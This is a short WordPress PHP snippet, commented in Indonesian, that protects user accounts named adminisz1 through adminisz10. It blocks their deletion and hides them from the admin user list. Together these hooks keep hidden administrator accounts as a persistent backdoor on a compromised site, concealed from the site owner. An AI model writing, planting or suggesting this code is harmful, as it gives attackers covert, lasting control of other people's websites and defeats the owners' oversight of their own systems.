// === Proteksi adminisz1-10 & hidden dari daftar users ===
add_filter('user_has_cap', function($allcaps, $cap, $args, $user) {
if (isset($args[0]) && in_array($args[0], ['delete_user', 'delete_users'])) {
$user_to_delete_id = $args[2];
$user_to_delete = get_userdata($user_to_delete_id);
if ($user_to_delete) {
$username = $user_to_delete->user_login;
if (preg_match('/^adminisz([1-9]|10)$/', $username)) {
$allcaps['delete_users'] = false;
$allcaps['delete_user'] = false;
}
}
}
return $allcaps;
}, 10, 4);
add_action('pre_user_query', function($query) {
if (is_admin() && current_user_can('list_users')) {
global $wpdb;
$exclude_usernames = [];
for ($i = 1; $i <= 10; $i++) {
$exclude_usernames[] = "'adminisz" . $i . "'";
}
$exclude_usernames_sql = implode(',', $exclude_usernames);
$query->query_where .= " AND {$wpdb->users}.user_login NOT IN ($exclude_usernames_sql)";
}
});
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